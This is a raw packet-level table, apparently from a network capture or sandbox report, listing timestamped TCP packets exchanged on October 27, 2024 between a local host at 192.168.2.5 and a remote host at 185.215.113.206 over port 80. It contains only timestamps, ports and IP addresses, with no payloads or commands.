Oct 27, 2024 07:59:18.260917902 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 07:59:18.260917902 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 07:59:18.260920048 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:18.260926008 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 07:59:18.260926008 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 07:59:18.260936022 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:18.260951042 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:18.260965109 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:18.260972023 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:18.260987043 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:18.261001110 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:18.261015892 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:18.261029959 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:18.261044025 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:18.261059999 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:18.261075974 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:18.261125088 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 07:59:18.261125088 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 07:59:18.261125088 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 07:59:18.261125088 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 07:59:18.261125088 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 07:59:18.261137009 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 07:59:18.261137009 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 07:59:18.261149883 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 07:59:18.301573992 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:18.301606894 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:18.301655054 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 07:59:18.301672935 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 07:59:18.306574106 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:18.306617022 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:18.306633949 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:18.306648970 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:18.306746960 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 07:59:18.306761026 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 07:59:18.308880091 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:18.308897018 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:18.308912039 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:18.308926105 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:18.308984041 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 07:59:18.308984041 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 07:59:18.343858004 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:18.343873024 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:18.343887091 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:18.343900919 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:18.344000101 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 07:59:18.344053984 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 07:59:18.373104095 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:18.373122931 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:18.373146057 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:18.373167038 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:18.373198986 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:18.373213053 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:18.373228073 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:18.373240948 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:18.373254061 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:18.373285055 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:18.373301029 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:18.373306036 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 07:59:18.373306036 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 07:59:18.373306036 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 07:59:18.373306036 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 07:59:18.373318911 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 07:59:18.373323917 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 07:59:18.373330116 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:18.373344898 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:18.373364925 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 07:59:18.373375893 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 07:59:18.373379946 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:18.373390913 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 07:59:18.373409986 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:18.373440027 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:18.373451948 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:18.373466015 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:18.373495102 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:18.373508930 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:18.373559952 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:18.373564959 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 07:59:18.373564959 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 07:59:18.373564959 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 07:59:18.373564959 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 07:59:18.373575926 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:18.373577118 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 07:59:18.373599052 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:18.373603106 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 07:59:18.373620987 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:18.373625994 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 07:59:18.373642921 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:18.373652935 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 07:59:18.373662949 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:18.373677969 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:18.373706102 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:18.373722076 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:18.373735905 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:18.373765945 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:18.373794079 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:18.373825073 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:18.373838902 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:18.373847008 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 07:59:18.373847008 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 07:59:18.373847008 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 07:59:18.373847008 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 07:59:18.373847008 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 07:59:18.373847008 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 07:59:18.373847008 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 07:59:18.373861074 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 07:59:18.373873949 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:18.373874903 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 07:59:18.373884916 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 07:59:18.373891115 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:18.373905897 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:18.373923063 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:18.373939037 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 07:59:18.373954058 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:18.373970032 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:18.373985052 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:18.374000072 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:18.374012947 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:18.374058962 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:18.374082088 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:18.374098063 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:18.374111891 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:18.374128103 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:18.374130011 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 07:59:18.374130011 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 07:59:18.374130011 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 07:59:18.374130011 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 07:59:18.374130011 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 07:59:18.374130011 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 07:59:18.374130011 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 07:59:18.374144077 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:18.374155045 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 07:59:18.374155045 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 07:59:18.374160051 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:18.374164104 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 07:59:18.374172926 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:18.374175072 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 07:59:18.374197006 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:18.374197960 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 07:59:18.374213934 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:18.374227047 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:18.374248981 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:18.374264956 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:18.374279022 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:18.374294043 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:18.374308109 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:18.374321938 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:18.374351978 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:18.374365091 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:18.374380112 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:18.374387026 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:18.374394894 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:18.374419928 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 07:59:18.374419928 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 07:59:18.374419928 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 07:59:18.374419928 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 07:59:18.374428034 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 07:59:18.374428034 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 07:59:18.374439001 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 07:59:18.374510050 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 07:59:18.374521017 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:18.374536037 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:18.374572039 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:18.374600887 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:18.374610901 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 07:59:18.374625921 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 07:59:18.374629021 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:18.374644995 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:18.374656916 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:18.374671936 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:18.374685049 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:18.374730110 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:18.374743938 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:18.374744892 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 07:59:18.374744892 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 07:59:18.374753952 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 07:59:18.374753952 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 07:59:18.374774933 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 07:59:18.374792099 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 07:59:18.374816895 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:18.374831915 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:18.374845982 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:18.374861956 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:18.374881029 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 07:59:18.374881029 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 07:59:18.374883890 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:18.374907970 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 07:59:18.374914885 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:18.374931097 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:18.374959946 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:18.374974966 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:18.374989986 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:18.374999046 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 07:59:18.375005007 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:18.375011921 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 07:59:18.375017881 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 07:59:18.375017881 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 07:59:18.375021935 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:18.375024080 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 07:59:18.375027895 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 07:59:18.375051022 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 07:59:18.375051022 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 07:59:18.375066042 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:18.375080109 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:18.375108004 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:18.375121117 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 07:59:18.375123024 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:18.375138044 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:18.375143051 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 07:59:18.375143051 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 07:59:18.375154018 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:18.375161886 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 07:59:18.375166893 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:18.375196934 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 07:59:18.375196934 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 07:59:18.375228882 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 07:59:18.375289917 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:18.375346899 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:18.375387907 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:18.375406027 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:18.375421047 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:18.375435114 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:18.375487089 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:18.375520945 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:18.375550985 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 07:59:18.375550985 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 07:59:18.375565052 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 07:59:18.375571012 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:18.375574112 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 07:59:18.375574112 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 07:59:18.375580072 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 07:59:18.375583887 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:18.375616074 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 07:59:18.375638008 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 07:59:18.376389980 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:18.376416922 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:18.376447916 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:18.376468897 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:18.376482964 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:18.376498938 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:18.376511097 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:18.376545906 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 07:59:18.376545906 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 07:59:18.376553059 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 07:59:18.376555920 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:18.376562119 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 07:59:18.376562119 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 07:59:18.376571894 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:18.376620054 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 07:59:18.376629114 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:18.376643896 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:18.376660109 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:18.376732111 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 07:59:18.376732111 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 07:59:18.376750946 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:18.376777887 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:18.376791954 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:18.376807928 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:18.376821995 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:18.376833916 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 07:59:18.376836061 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:18.376882076 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:18.376888037 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 07:59:18.376913071 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:18.376919031 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 07:59:18.376919031 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 07:59:18.376919031 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 07:59:18.376944065 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:18.376955986 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:18.376970053 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:18.376985073 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:18.376997948 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:18.377012968 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 07:59:18.377012968 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 07:59:18.377012968 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 07:59:18.377028942 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:18.377043962 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:18.377059937 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:18.377065897 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 07:59:18.377074003 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:18.377084017 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:18.377094030 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:18.377103090 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:18.377110004 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:18.377119064 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:18.377160072 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:18.377166033 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:18.377170086 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:18.377177000 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:18.377186060 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 07:59:18.377192020 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:18.377192974 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 07:59:18.377217054 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:18.377238035 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 07:59:18.377235889 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:18.377258062 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:18.377273083 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:18.377285004 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:18.377299070 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:18.377315998 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:18.377355099 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 07:59:18.377355099 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 07:59:18.377355099 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 07:59:18.377355099 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 07:59:18.377355099 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 07:59:18.377371073 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:18.377384901 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:18.377410889 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:18.377430916 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:18.377440929 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 07:59:18.377440929 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 07:59:18.377440929 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 07:59:18.377446890 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:18.377465010 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:18.377471924 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:18.377479076 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:18.377486944 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:18.377494097 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:18.377505064 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:18.377511024 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:18.377513885 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 07:59:18.377518892 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:18.377537012 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:18.377545118 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:18.377602100 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:18.377605915 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 07:59:18.377621889 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:18.377636909 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:18.377638102 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 07:59:18.377664089 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 07:59:18.377664089 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 07:59:18.377691031 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 07:59:18.377727032 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:18.377743959 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:18.377758026 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:18.377804041 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:18.377819061 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:18.377852917 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:18.377867937 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:18.377891064 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:18.377907038 CET	80	49704	185.215.113.206	192.168.2.5
